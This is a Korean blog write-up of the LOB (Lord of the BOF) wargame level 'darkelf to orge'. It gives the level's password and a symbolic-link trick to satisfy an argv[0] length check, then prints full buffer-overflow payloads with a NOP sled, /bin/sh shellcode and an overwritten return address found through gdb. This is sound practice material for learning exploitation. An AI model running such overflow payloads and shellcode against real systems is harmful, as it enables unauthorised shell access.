System&Write up/LOB

LOB darkelf -> orge Write up

Jubil 2017. 10. 9. 19:57
반응형

LOB darkelf -> orge

 

ID : darkelf

Passwd : kernel crashed

 


접속해서 ls 명령어로 파일과 디렉터리를 확인합니다.

 


cat 명령으로 code를 열어봅니다.

 

추가된 코드의 내용은 파일 경로 + 파일명인 argv[0]의 길이를 체크하는데요.

77byte여야 합니다.

 


./orge 상대 경로로 argv[0]을 넘겨줬을 때 strlen(argv[0])6byte일 것이고,

/home/darkelf/orge 절대 경로도 77byte는 역부족이네요.

 

이럴 때 심볼릭 링크를 사용합니다.

컴퓨팅에서 심볼릭 링크(symbolic link) 또는 기호화된 링크 절대 경로 또는 상대 경로의 형태로 다른 파일이나 디렉터리에 대한 참조를 포함하고 있는 특별한 종류의 파일이다. (위키백과)

 

저는 파일을 포인팅하고 있는 파일이라고 해석했습니다. 그럼 argv[0] 상대경로로 전달했을 77byte 되려면 파일 명을 어떻게 지어줘야 할까요?

 

./ (현재 경로를 나타내는 2byte) + 파일명(75byte)

이렇게 구성해서 심볼릭 링크 파일을 만들어 보겠습니다. tmp 디렉터리를 만들고,

 

ln –s ../orge `python –c ‘print “A”*75’`


 

tmp 상위 폴더의 orge를 참조하는 A*75의 파일명을 가지고 있는 파일을 만들었습니다.

 

 

나머지 내용은 같으니 argv[2]를 이용해서 공격하겠습니다.

goblin Write Up -> https://jaemin8852.tistory.com/40

 

 

tmporge 파일을 복사하고

ln –s ./orge `python –c ‘print “B”*75’`

(이 파일은 core 파일을 분석하기 위해 만드는 것으로, 아까 만든 A*75 원본 파일을 참조하는 파일과는 다릅니다.)

 

payload : ./`python –c ‘print “B”*75’` `python –c ‘print “A”*44 + “\xbf\xbf\xbf\xbf"’` `python –c ‘print “\x90”*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`

 


core 파일입니다. gdb로 열어봅시다.

 


저 부분이 argv[2]입니다. Return Address0xbffffb40으로 변조해서 원본 파일(A*75)에 공격하겠습니다.

 

payload : ./`python –c ‘print “A”*75’` `python –c ‘print “A”*44 + “\x40\xfb\xff\xbf"’` `python –c ‘print “\x90”*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`

 


exploit!

감사합니다.

반응형

'System&Write up > LOB' 카테고리의 다른 글

LOB troll -> vampire Write up  (0) 2017.10.10
LOB orge -> troll Write up  (0) 2017.10.09
LOB wolfman -> darkelf Write up  (0) 2017.10.07
LOB orc -> wolfman Write up  (0) 2017.10.07
LOB goblin -> orc Write up  (0) 2017.10.03